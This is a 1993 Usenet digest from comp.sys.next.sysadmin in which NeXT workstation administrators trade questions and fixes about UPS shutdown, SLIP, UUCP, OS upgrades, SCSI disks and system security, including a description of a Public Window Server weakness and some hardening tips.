In article <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> dmm0t@rincewind.mech.virginia.edu (David Meyer) writes:
>
>I'm planning on buying an APC Backup-UPS 600 to use with my NeXT
>computer, and I could use some advice on setting it up so that my
>machine will shut down cleanly if the UPS battery runs low. The UPS
>I'm looking at has a output port which can signal that the battery is
>running low, but I'm not sure what kind of wiring I'd need to do in
>order to use it.
> [...]
>David M. Meyer Mechanical & Aerospace Engineering
>dmm0t@rincewind.mech.virginia.edu University of Virginia
>NeXTmail ok
I would suggest that you go back to your APC dealer and ask about APC's
monitoring software Powerchute and Powerchute/plus. I don't know if the
software will run on a NeXT, but it's worth a shot. If nothing else, at
least call APC directly to try to work a deal for your NeXT.
I've got a pair of APC-2000 UPSs with the Powerchute/plus software for
monitoring. Each UPS is monitored by a file server, and the fileservers
know which other computers are on which UPS. The Powerchute UPS daemon
fires off simple shell scripts on significant events such as linepower
lost or battery low. I've mod'd these scripts to use 'rsh' to run similar
notifications on the other computers, including a shutdown script when
needed. With the Powerchute software, it was easy to set up and works
like a charm!
Yes, this is a testimonial, and no, I don't have any interest in APC other
than as a satisfied customer.
--
==============================================================================
Shannon Nelson Portland Technology Development, Intel Corp.
snelson@ptd.intel.com (503) 642-8149 I don't speak for Intel
Parents can't afford to be squeemish.
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Using log file for NeXT Printer
Message-ID: <7340@ucsbcsl.ucsb.edu>
Date: 12 Jan 93 22:25:28 GMT
Article-I.D.: ucsbcsl.7340
Sender: root@ucsbcsl.ucsb.edu
Followup-To: comp.sys.next.misc
Organization: Center for Computer Music Research and Composition, UCSB
Having once again exhausted the online documentation, I post to ask:
Is it possible to set up a NeXT Printer to keep a log of all printing jobs?
Thank you.
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: f_cnnghamjk@ccsvax.sfasu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: a way to warn the console user
Message-ID: <1993Jan12.205007.2405@ccsvax.sfasu.edu>
Date: 12 Jan 93 20:50:07 CST
Organization: Stephen F. Austin State University
Can someone suggest a way to warn the console user that I'm about to reboot
the machine? Write, talk or shutdown are great ONLY IF s/he has Terminal
running.
I've tried using Alert from ShellPanels, but I'm told...
DPS client library error: Could not form connection, host local host
Thanks.
Randomly, Kelly Cunningham
<deviate@lipschitz.sfasu.edu><f_cnnghamjk@ccsvax.sfasu.edu><jkellyc@tenet.edu>
NeXTMail (favored) MIME (ok) VMS Mail (tolerated) MIME (ok)
"There is no reason for any individual to have a computer in their home."
-- Ken Olson, President and visionary, Digital Equipment, 1977
"NeXTSTEP is probably the most respected piece of software on the planet."
-- October 1992 Byte Magazine
Newsgroups: comp.sys.next.sysadmin
From: windsor@symcom.math.uiuc.edu (Eric W. Blankenburg)
Subject: >>> HELP PLEASE <<< NS 1.0 -> NS 3.0...very tough!!!
Message-ID: <C0rwIK.C70@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: Math Dept., University of Illinois at Urbana/Champaign
Distribution: usa
Date: Wed, 13 Jan 1993 03:32:44 GMT
I am currently trying to upgrade my Next Cube from NextStep 1.0 directly
to NextStep 3.0. I don't have a floppy. I do have a CD-ROM Drive. I also
have a OD, but it may be useless under 3.0. I also have a 33 Mhz 040 board
that I want to install. I have the NextStep 3.0 Distribution CD.
Here's the first question. Is there a CD-ROM Driver that runs under 1.0?
If so, where do I get it?
Will NextStep 3.0 boot on an 030 motherboard?
Is it essential that I have a 2.88 Floppy drive to install 3.0?
If a CD-ROM Driver exists for 1.0, can I boot 3.0 from the CD-ROM drive and
upgrade my system?
If I have missed any salient points about upgrading from 1.0 to 3.0, please
realize that I only wanted to post a short note. If you know how to upgrade
from 1.0 to 3.0, please send me email at windsor@symcom.math.uiuc.edu.
Thanks in advance
windsor
Newsgroups: comp.sys.next.sysadmin
From: jolly@cis.uni-muenchen.de (Patrick Stein)
Subject: Re: a way to warn the console user
Message-ID: <1993Jan13.150959.19360@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <1993Jan12.205007.2405@ccsvax.sfasu.edu>
Date: Wed, 13 Jan 1993 15:09:59 GMT
In article <1993Jan12.205007.2405@ccsvax.sfasu.edu>
f_cnnghamjk@ccsvax.sfasu.edu writes:
> Can someone suggest a way to warn the console user that I'm about to reboot
> the machine? Write, talk or shutdown are great ONLY IF s/he has Terminal
> running.
Write a program and start it from the
/usr/lib/NextPrinter/lpd.children
then u can open windows to warn the user.
i wrote such a prg. and it works fine.
jolly
post scriptum : for more information mail direct
--
=======================================================
Jolly alias Patrick Stein = jolly@cis.uni-muenchen.de
Centrum fuer Informations und Sprachverarbeitung der
Ludwig Maximilians Universitaet Muenchen
Tel: ++49 (0) 89 - 36 40 72 (priv) (0)89 -950 57 34
"Every day u don t smile is a wasted day P) " C.Chaplin
=======================================================
From: hickman@cse.unl.edu (Hubert B. Hickman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: diskeject problem
Date: 13 Jan 1993 06:09:23 GMT
Organization: University of Nebraska--Lincoln
Distribution: world
Message-ID: <1j0bmjINNeud@crcnis1.unl.edu>
References: <1ii580INNq5f@nigel.ee.udel.edu>
greimann@pecan.cns.udel.edu (J. Brandon Greimann) writes:
>There seems to be a bug in 3.0/on my machine that messes up the dialog
>box that comes up when ejecting a disk that is being used by an app.
>The box pops up for a split second then goes away, leaving people
>not realizing why their floppy disks won't eject, and it screws up how
>SyQuest's are mounted. I was wondering if this is a common problem and if
>there's a cure for it?
> Thanks,
> Brandon
>
>--
>...............................................................................
>To reach me through e-mail: greimann@freezer.cns.udel.edu
>Phone: (302) 368-4862
You might try DiskEjectFix available from next.com. I don't recall
the directory that it resides in.
Hubert Hickman
hickman@cse.unl.edu
Newsgroups: comp.sys.next.sysadmin
From: vac249f@monu6.cc.monash.edu.au (Robert D. Nicholson)
Subject: Problem with Zyxel 1496E and SLIP
Message-ID: <1993Jan13.120451.1645@monu6.cc.monash.edu.au>
Summary: Problem with Zyxel 1496E and SLIP
Organization: Monash University, Caulfield Campus
Date: Wed, 13 Jan 1993 12:04:51 GMT
To those of you using Zyxel 1496E's with Louies slip HELP!!!
When I use the standard zyxtel tcl script with &N0 set I do not
for some reason connect at V32Bis like it should do. It connects at V32 ok no problem .
So I tried enabling &N1 to force it to but this has a problem
in that it cannot get past the login prompt of my slip host.
Is this problem parity related????????
I have ROM revision V 5.04a M (ATI reports this)
Any ideas folks??????
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Newsgroups: comp.sys.next.sysadmin
Subject: UPS for NeXT
Message-ID: <C0sLry.Ho0@newcastle.ac.uk>
Date: 13 Jan 93 12:38:21 GMT
Organization: University of Durham
I have the following setup and would like a UPS, but don't know really what to ask for (I
can't remember early physics in terms of asking for Amps and watts, etc..)
NeXTstation NontuboColour
Printer
External 1.6Gb drive.
I don't really care about the CDrom, scanner and modem being on the UPS, just the NeXT and
the external drive.
Any help appreciated!
Scott
--
EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
SUN Computers: "Nice chips, shame about her OS"
"If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz)
Newsgroups: comp.sys.next.sysadmin
Subject: PowerOn after Outage problelm
Date: 13 Jan 1993 09:59:25 -0500
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Distribution: world
Message-ID: <1j1aodINN1mu@jhunix.hcf.jhu.edu>
Hi,
I have a bit of a problem.
I have a NSTC with an external hard disk. The external disk takes a while
to spin up - longer than the NeXT will give it. If I let the NeXT boot
without the disk spun up, I get time outs. So I wrote boot sectors to the
external disk (/etc/disk) so that the system would have to boot with the
external drive ready.
The problem is when there's a power outage (three in the last week here).
The NeXT just goes to single user mode assuming that something's broken.
Is there a way to tell the NeXT to wait, say, one minute after power is restored
to power back up?
Any help is greatly appreciated,
Eric
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: knelson@milli.cs.umn.edu (Kenneth Nelson)
Subject: Re: Using tar with a SCSI DAT drive
Message-ID: <C0stK5.Knq@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Minneapolis, CSci dept.
References: <1993Jan10.090824.24470@cs.ucla.edu>
Distribution: usa
Date: Wed, 13 Jan 1993 15:26:27 GMT
In article <1993Jan10.090824.24470@cs.ucla.edu> grw@oahu.cs.ucla.edu (George Wu) writes:
>
> I recently installed an Archive Python SCSI DAT drive on my system
>(NeXTStation Mono running NS 2.1) for backup purposes. However, I
>have been unable to use tar on the drive. I always get an 'I/O error'
^^^^^^^^^^^^^^^^^
Have you been able to get anything else to work (dump) ?
>when I run tar and the associated SCSI error is as follows.
>
>
I am having a similar problem. Tar/dump would work for a random amount
of time and then crap out with the dreaded "I/O error". I put a call
into Archive tech. support (they're most helpful) and found out I'm
using an "unapproved" media. I was trying to use Maxell tapes and
they don't work in an Archive Python (I thought 4mm tapes were 4mm
tapes). Archive said the acceptable media are their tapes, Sony, and
Fuji (I think).
I'm waiting for my new tapes to arrive before trying again.
Ken
From: neil@kynug.org
Newsgroups: comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Message-ID: <1993Jan13.154221.13028@kynug.org>
Date: 13 Jan 93 15:42:21 GMT
References: <C0rDvn.zt@hfglobe.intel.com>
Sender: neil@kynug.org (Neil Greene)
Organization: Kentucky NeXT User Group, Inc.
In article <C0rDvn.zt@hfglobe.intel.com> snelson@ptdca2.intel.com (Shannon
Nelson) writes:
> In article <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU>
dmm0t@rincewind.mech.virginia.edu (David Meyer) writes:
> >
> >I'm planning on buying an APC Backup-UPS 600 to use with my NeXT
> >computer, and I could use some advice on setting it up so that my
> >machine will shut down cleanly if the UPS battery runs low. The UPS
> >I'm looking at has a output port which can signal that the battery is
> >running low, but I'm not sure what kind of wiring I'd need to do in
> >order to use it.
> > [...]
> >David M. Meyer Mechanical & Aerospace
Engineering
> >dmm0t@rincewind.mech.virginia.edu University of Virginia
> >NeXTmail ok
>
> I would suggest that you go back to your APC dealer and ask about APC's
> monitoring software Powerchute and Powerchute/plus. I don't know if the
> software will run on a NeXT, but it's worth a shot. If nothing else, at
> least call APC directly to try to work a deal for your NeXT.
>
> I've got a pair of APC-2000 UPSs with the Powerchute/plus software for
> monitoring. Each UPS is monitored by a file server, and the fileservers
> know which other computers are on which UPS. The Powerchute UPS daemon
> fires off simple shell scripts on significant events such as linepower
> lost or battery low. I've mod'd these scripts to use 'rsh' to run
similar
> notifications on the other computers, including a shutdown script when
> needed. With the Powerchute software, it was easy to set up and works
> like a charm!
>
> Yes, this is a testimonial, and no, I don't have any interest in APC
other
> than as a satisfied customer.
There is a vendor with a UPS and software for the NeXT to monitor the
system and properly shut down during power outages, I will find the
information and repost.
--
Neil Greene
President, Kentucky NeXT User Group, Inc.
Email: neil@kynug.org [NeXTMail]
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP popper
Message-ID: <1993Jan13.102159.9852@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Wed, 13 Jan 1993 10:21:59 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <1993Jan12.100501.2904@bvl.pt>
Organization: Institut fuer Informatik
In article <1993Jan12.100501.2904@bvl.pt> writes:
> frank@ifi.unibas.ch (Robert Frank) writes:
> : to the popper (inetd and services properly configured and niloaded), it
just
> : dies without any warning or error. Debuggin is enabled, but nothing shows
up in
> : the log files.
>
> What about /etc/syslog.conf ??? Have you add the propper lines ?
> This is the line I added to mine, (under NS 2.2)
>
> local0.notice;local0.debug /usr/spool/mqueue/POPlog
>
> Have o tried:
>
> telnet localhost 110
>
> The popper should show up and send a message to your terminal, you
> can end the connection just typing 'quit' (no quotes) and ENTER.
>
> Like this...
> ***********************************************************
> ~> telnet localhost 110
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> +OK UCB Pop server (version 1.7b1) at jessica.bvl.pt starting.
> quit
> +OK Pop server at jessica.bvl.pt signing off.
> Connection closed by foreign host.
> ~>
> ***********************************************************
>
> If the popper don't show up, try telnet to port 109, 109 is the pop2
> port, maybe your /etc/services is not correct. (Or maybe is something
> with NS 3.0, in that case, forget everything I said... I don't know
> nothing about it).
>
> : Any help would be greatly appreciated! Thank's in advance.
>
> I hope this helps...
>
> --
> regards,
> ____
> |/asco
> ----------------------------------------------------------------------
Thank's for the help. The culprit was a missing 'root' (well, Ultrix doesn't
like it, so I didn't notice...) in the inetd.conf file.
All'w well now!
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP no longer working - HELP!!!
Message-ID: <1993Jan13.124437.62679@cc.usu.edu>
Date: 13 Jan 93 12:44:37 MDT
Organization: Utah State University
My NeXT went down while in the middle of UUCP'ing a file and now I can't get
UUCP to work again. I am running 3.0. The following is the command that I am
using, and the results of it:
Command:
uucp -C -m -x9 logan.test ati06!~/
Results:
** START **
ASSERT ERROR (uucp) pid: 325 (1/13-12:40) GETWD FAILED getwd: can't stat .
(0)
uucp failed. code -1
I can uupoll the site just fine. Something seems to be munged with the UUCP
queue or somthing, and I don't have the slightest idea of what it might be. I
would appreciate any help. Thank you.
John Z.
slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
From: ric-mommer@uiowa.edu
Subject: SLIP Problems
Sender: news@news.uiowa.edu (News)
Message-ID: <1993Jan13.204331.15495@news.uiowa.edu>
Date: Wed, 13 Jan 1993 20:43:31 GMT
Organization: University of Iowa, Iowa City, IA, USA
A question forwarded to me by a user at a nearby campus:
For the past two months I have been using SLIP to tranfer over 50 MB of
software to the Nexts. This weekend I tried to connect the mail system on
the NeXT net to the campus net. I successfully tranfered mail from campus
to the Nexts and one line mail messages from the NeXts to campus.
Unfortunately, if I tried to send a 20 line mail message from the NeXTs to
campus, the sendmail process would time out. It appears that the campus
end of the SLIP was dropping packets. The apparent reason is that the MTU
on the campus end of the SLIP connection was 1000 and the NeXT end had a
MTU of 1000. According to what I have discovered, the MTU settings must
be the same. Unfortunately, if I set both ends of the SLIP link to have
an MTU of 1000, the problem did not clear. The problem did clear if I set
the NeXT end top have a MTU of 999. Unfortunately, this setting has
broken telnet. I am having discussions with HP/Aollo on this issue.
Does anyone have any suggestions I could give this guy? Any help would be
greatly appreciated.
-Ric
--
_
/ \ Ric Mommer
/ \ NeXT Campus Consultant
|\ /| University of Iowa
| \_/ | ric-mommer@uiowa.edu
\ | /
\|/ NeXTmail preferred.
From: danno@css.itd.umich.edu (Daniel T. Pritts)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin
Subject: Re: symbolic links to different local hard disk?
Followup-To: comp.sys.next.sysadmin
Date: 13 Jan 1993 21:15:29 GMT
Organization: University of Michigan - ITD Consulting and Support
Message-ID: <1j20phINNap7@stimpy.css.itd.umich.edu>
References: <1993Jan9.021146.6886@pellns.alleg.edu>
In article <1993Jan9.021146.6886@pellns.alleg.edu> sunthej@alleg.edu
(Jake Blues) writes:
>
> Sorry for posting to comp.sys.next, but I wasn't sure what the
proper
> news-base for this question would be.
probably comp.sys.next.sysadmin
> Q- On the network we have several NFS servers and over two hundred
> cubes/stations, each with a local hard-drive. Due to storage
> considerations, there are certain applications that are kept on
certain
> local drives that are not kept on others (ie, mathematica is not
kept on
> every computer). Is it possible to create a symbolic link to a
foriegn
> host? Can anyone offer a different plausible solution? NXHost
doesn't
> seem to work properly.
You could only do this if you exported (via NFS) the disks of the
machines you wanted to act as the servers.
Why not just put Mathematica on your NFS server? Oh, I suppose MMa's
licensing scheme doesn't like that. Perhaps Wolfram has a
NFS-Mountable version of MMa? Knowing them probably not but you
never know.
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/css unix support group
313/998-6265
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP no longer working - HELP!!!
Message-ID: <1993Jan13.142058.62684@cc.usu.edu>
Date: 13 Jan 93 14:20:57 MDT
References: <1993Jan13.124437.62679@cc.usu.edu>
Organization: Utah State University
In article <1993Jan13.124437.62679@cc.usu.edu>, slv0y@cc.usu.edu writes:
> My NeXT went down while in the middle of UUCP'ing a file and now I can't get
> UUCP to work again. I am running 3.0. The following is the command that I am
> using, and the results of it:
>
> Command:
> uucp -C -m -x9 logan.test ati06!~/
>
> Results:
>
> ** START **
> ASSERT ERROR (uucp) pid: 325 (1/13-12:40) GETWD FAILED getwd: can't stat .
> (0)
> uucp failed. code -1
>
> I can uupoll the site just fine. Something seems to be munged with the UUCP
> queue or somthing, and I don't have the slightest idea of what it might be. I
> would appreciate any help. Thank you.
>
> John Z.
> slv0y@cc.usu.edu
>
Ok...I have discovered the answer to my own problem while pouring over man
pages. The path and the file of somthing you are UUCP'ing must have read privs
for OTHER. Mine didn't, so, it didn't work. ;-) Of course it didn't say that
was the problem...
Z.
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Subject: Re: security
Message-ID: <1993Jan14.101109.516@otago.ac.nz>
From: athomson@otago.ac.nz (Alastair Thomson)
Date: 14 Jan 93 10:11:08 +1300
References: <2179@nikhefh.nikhef.nl>
Organization: University of Otago, Dunedin, New Zealand
In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes:
> I am trying to get some NeXTs introduced into our networks.
> The system administrator is very much into security, so he would
> like to know how secure the NeXT is. Can anybody comment on its
> security and how it compares to other workstations (like SUN, HP,
> Apollo, SGI, DEC)?
> (I never see anything about it on usenet, so I guess it cannot be
> too bad)
>
> Thanks
> Jos Vermaseren
I have just integrated a NeXTstation turbo colour into a mixed network of Suns,
DECstations, VAXes, Macs, and PCs. The security of the NeXT machines is as good
as most other Unix systems. Not to orange book standards, but pretty good. It
appears to be better than a DECstation for instance, in that you can put a
password on ROM monitor commands, this prevents anyone but system administrator
booting up single user, changing config etc.
The only hole I have seen is that any user may change printer configuration, I
think it does ot system wide, but I'm not sure. This is particularly true for
AppleTalk printers.
I administer our small group of NeXTs, while others administer 99% of the other
Unix and VAX machines. They seemed *very* happy with the NeXT security.
The one proviso is that *anyone* who really knows Unix and the NeXT can do some
damage if they really tried. This is just as true of most other Unix based
systems 8-)
Regards,
Alastair
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From: borchers@poogh.llnl.gov (Robert R. Borchers)
Newsgroups: comp.sys.next.sysadmin
Subject: Expanding zone non-kernel map entries
Message-ID: <146023@lll-winken.LLNL.GOV>
Date: 13 Jan 93 21:41:27 GMT
Sender: usenet@lll-winken.LLNL.GOV
I have started getting the message in the title on the console. Nothing
appears to happen but the last three Sundays, the machine panicked and
halted at 15:00 on Sunday. the console messages are below. anybody have
any idea what is up. Bob
Jan 8 19:01:43 poogh mach: Expanding zone non-kernel map entries
Jan 9 11:34:38 poogh mach: Expanding zone non-kernel map entries
Jan 10 15:00:00 poogh mach: panic: (Cpu 0) No more room in kernel map
Jan 10 15:00:00 poogh mach: NeXT ROM Monitor 2.5 v66
Jan 10 15:00:00 poogh mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT
1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Jan 10 15:00:00 poogh mach:
Jan 10 15:00:00 poogh mach: Killing all processes rebooting Mach...
Jan 10 15:00:00 poogh mach:
Jan 10 15:00:00 poogh mach: NeXT ROM Monitor 2.5 v66
Jan 10 15:00:00 poogh mach: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992;
root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
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From: ph@pencom.com (Patrick Hester)
Subject: SoundWorks problems - fsck, OD eject
Message-ID: <1993Jan13.194511.13491@pencom.com>
Sender: usenet@pencom.com (News system)
Organization: Pencom Systems Incorporated
Date: Wed, 13 Jan 1993 19:45:11 GMT
I just picked up a copy of SoundWorks and a set of Digital Ears.
My system is a 040/25 cube with 340mb/28mb/OD.
When running SoundWorks I get:
SoundWorks[144] Exception Handler not properly removed
messages on the console. Lots of them.
After working a while I shut down SoundWorks, the WorkSpace and the
cube. I even close all files prior to leaving SW. But the next time
I reboot the hard disk comes up dirty and requires fsck.
Also, I record to hard disk and save/work on OD. Sometimes after this
the machine refuses to eject my OD. At times I can cure this by logging
out and the OD ejects. Other times I can't convince it to eject without
either killing power or doing an 'eo' from the monitor. When this
happens the OD requires repairs next time.
Sound familiar? Any suggestions?
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From: jkeenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help! Installing 3.0 on external HD
Message-ID: <6259@rosie.NeXT.COM>
Date: 13 Jan 93 22:59:27 GMT
References: <17898@umd5.umd.edu>
Sender: news@NeXT.COM
In article <17898@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes:
> Um, no. The first number is the SCSI ID, the second is the LUN (which lots
> of people theorize will always be 0 on the NeXTs because they only have one
> SCSI channel; makes sense to me but I can't confirm or deny it personally),
> and the last is the partition number.
One clarification - the second number is the LUN, but that has nothing to do
with the SCSI channel (controller). The SCSI spec allows for multiple devices
at one SCSI address, if the device can handle it. I've seen Syquest (or was it
Bernoulli?) units with one SCSI address and two drives in it. If the SCSI
address was something like 2 (the internal disk being set to 1), then the first
partition of the first drive would be sd(1,0,0) and the first partition of the
second drive would be sd(1,1,0).
Remember that the system always collapses the SCSI unit numbers down, starting
at sd0 for the first SCSI address used (normally 1), sd1 for the second, etc.
joe
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From: gaia@wam.umd.edu (L. Anathea Brooks)
Subject: HELP please with Louie Mamakos' SLIP
Message-ID: <1993Jan13.234229.20607@wam.umd.edu>
Sender: usenet@wam.umd.edu (USENET News system)
Organization: University of Maryland, College Park
Date: Wed, 13 Jan 1993 23:42:29 GMT
I'm trying to set up Louie Mamakos' SLIP package on a couple
of Nexts (one for server relay). The manual is excellent but
assumes prior knowledge of SLIP (NO info on how to use
it for ex.).
Can anyone help us out? We haven't used SLIP. For example,
we don't know how to configure the server. Etc. etc.
Thanks
Brooks
Johns Hopkins Univ.
Nextmail rdelucca@rosemary.uucp.jhu.edu
From: gthomas@unixg.ubc.ca (Guy R Thomas)
Newsgroups: comp.sys.next.sysadmin
Subject: cutcp, lpd, and the NeXT. Connection Refused
Date: 14 Jan 93 01:13:02 GMT
Organization: The University of British Columbia
Message-ID: <gthomas.726973982@unixg.ubc.ca>
Summary: Help request with Clarkson U CUTCP and the LP* utilities
Keywords: cutcp lpd printing network
Hi;
I have just tried to get the Clarkson project CUTCP and the LPD programs
to work over the local ethernet. I am having problems with the LP*
programs. In particular LPD gets to the point where a reset is received
and a syn gets sent however the host refuses the connection.
I have tried to export the printer by marking it public in the configure
pannel of the PrinterManager app. This gets stoped because I am unable to
export the printer to the local domain. How do I get NetInfo to go away?
Or is NetInfo the culprit? Any clues would be appreciated. If anyone
has gotten the LP* package that comes with CUTCP to work with a NeXT I
would be gratefull for the help.
Guy
gthomas@native-ed.bc.ca
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From: cmumford@iat.holonet.net (Chris Mumford)
Subject: Erase character
Message-ID: <C0tLo9.44K@iat.holonet.net>
Organization: HoloNet National Internet Access BBS: 510-704-1058/modem
Date: Thu, 14 Jan 1993 01:33:43 GMT
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: security
Message-ID: <1j2c7dINNng6@msuinfo.cl.msu.edu>
Date: 14 Jan 93 00:30:37 GMT
References: <2179@nikhefh.nikhef.nl>
Organization: Michigan State University
If you are going to use the "me" account that comes with 'em make sure to
take them out of the "wheel" group otherwise they can write to
/usr/adm/{daily,monthly,weekly} and mess things up.
Chris Penney
penney@convex.cl.msu.edu
Jos Vermaseren (t68@nikhefh.nikhef.nl) wrote:
: I am trying to get some NeXTs introduced into our networks.
: The system administrator is very much into security, so he would
: like to know how secure the NeXT is. Can anybody comment on its
: security and how it compares to other workstations (like SUN, HP,
: Apollo, SGI, DEC)?
: (I never see anything about it on usenet, so I guess it cannot be
: too bad)
: Thanks
: Jos Vermaseren
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: security
Date: 14 Jan 1993 02:13:42 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1j2i8m$3im@agate.berkeley.edu>
References: <1993Jan14.101109.516@otago.ac.nz>
In article <1993Jan14.101109.516@otago.ac.nz> writes:
>In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes:
>> I am trying to get some NeXTs introduced into our networks.
>> The system administrator is very much into security, so he would
>> like to know how secure the NeXT is. Can anybody comment on its
>> security and how it compares to other workstations (like SUN, HP,
>> Apollo, SGI, DEC)?
>
>
>I have just integrated a NeXTstation turbo colour into a mixed
>network of Suns, DECstations, VAXes, Macs, and PCs. The security
>of the NeXT machines is as good as most other Unix systems.
Perhaps the Unix/Mach OS part of NeXT is as secure as other Unix
systems, but any machine with users with Public Window Server
is very vulnerable.
When the PWS switch is set, any user on the Internet can create
a "nonsecure" DPS context to the WindowServer/DPS of the
remote machine and do any file operation that the current
console user is able to perform, including wiping out
all the files in his/her home directory, reading his/her
personal mails. All this from a totally unrelated machine
where IP packets go.
[Look in Librarian for keyword DPSCreateNonsecureContext.]
The problem is compounded by the facts:
(1) Public Window Server setting is controlled by each user.
Sysadmin can only warn users to minimize its use.
(2) There is no fine-grain access control for remote access to
the WindowServer. All or none switch is just not
acceptable.
(3) Creation of "nonsecure" DPS context is controlled on the
client side. Ideally, the WindowServer should be able to
grant or deny creation of nonsecure DPS context via
on some authentication mechanism based on which client is
requesting one, which user and what program/process is
requesting one.
WindowServer as capable as DPS should have more security checks
built into it. Just look at the file related operators in the
Adobe PS Red Book. You can do all the operations listed there
via remote connection to a public window server.
So, if you are buying NeXTs in quantity, press NeXT to do something
about it.
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From: chiu@wk211.nas.nasa.gov (Ing-Tsau Chiu)
Subject: Help: Optical disk read error
Keywords: optical
Sender: news@nas.nasa.gov (News Administrator)
Organization: NAS, NASA Ames Research Center, Moffett Field, California
Date: Thu, 14 Jan 93 02:26:15 GMT
Message-ID: <1993Jan14.022615.20793@nas.nasa.gov>
I got the following message while reading an optical disk.
Software Version 3.0 (Hyper3B)
od0a: read failed (bitmap bad but no alternate found!) block 48 phys
block 79441 (9114:0:1)
Wonder if anyone knows how to fix this. Right now, the next OD drive
does not accept this disk because of this error.
--
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From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske)
Newsgroups: comp.sys.next.sysadmin
Subject: Maximum Value of UID's on the NeXT
Message-ID: <C0tnK6.Gr9@ns1.nodak.edu>
Date: 14 Jan 93 02:14:30 GMT
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Organization: University of Southern North Dakota, Hoople
Can anyone tell me why NeXT only allows approx. 32000 as the maximum uid?
In /usr/include/sys/types.h (/usr/include/bsd/sys/types.h for those with the
stupid 3.0 arrangement of headers), uid_t is defined as a short int, whereas
on most Unix machines it is defined as a unsigned short int.
In the changes section of the this header, Morris Meyer of NeXT said it was
changed because of NFS 4.0. Anyone have a reason for this?
Thanks,
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: security
Message-ID: <C0tpnu.K31@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <2179@nikhefh.nikhef.nl> <1993Jan14.101109.516@otago.ac.nz>
Date: Thu, 14 Jan 1993 02:59:39 GMT
athomson@otago.ac.nz (Alastair Thomson) writes:
>In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes:
>The only hole I have seen is that any user may change printer configuration, I
>think it does ot system wide, but I'm not sure. This is particularly true for
>AppleTalk printers.
If you remove the '_writers' property that usually has a value of
'*', no one can write printcap entries in that domain. This is
documented in the N&SA manual under implementing security. I
believe this will secure AppleTalk printer entries too but I'm not
positive.
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Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
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From: zeke@esosun.UUCP (James Dehnert)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Message-ID: <1083@esosun.UUCP>
Date: 13 Jan 93 23:06:08 GMT
References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org>
Organization: Science Applications International Corp., San Diego
>There is a vendor with a UPS and software for the NeXT to monitor the
>system and properly shut down during power outages, I will find the
>information and repost.
Stediwatt has a NeXT specific system. Call Scott Liddick at
1-800-345-1280. He sent me all sorts of info ( except the price, which
leaves me to believe that I can't afford one ). If someone gets the
priceing can you send it to me?
I have no affiliation with Steadiwatt, I'm not even a customer.
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From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach)
Newsgroups: comp.sys.next.sysadmin
Subject: array processing functions installation problem
Keywords: dsp
Message-ID: <ti6ls.726954223@tuhhco>
Date: 13 Jan 93 19:43:43 GMT
Sender: usenet@rztsun.rz.tu-harburg.de
Hey, NeXT-Gurus!
I have a problem installing the array-processing functions from ccrma.
After about 10 minutes "make all" aborts with the somewhat very infor-
mative message
bin:
Make: Don't know how to make all. Stop.
*** Exit 1
Stop.
Maybe the reason for this problem is, that "ar" cuts some filenames
giving something like:
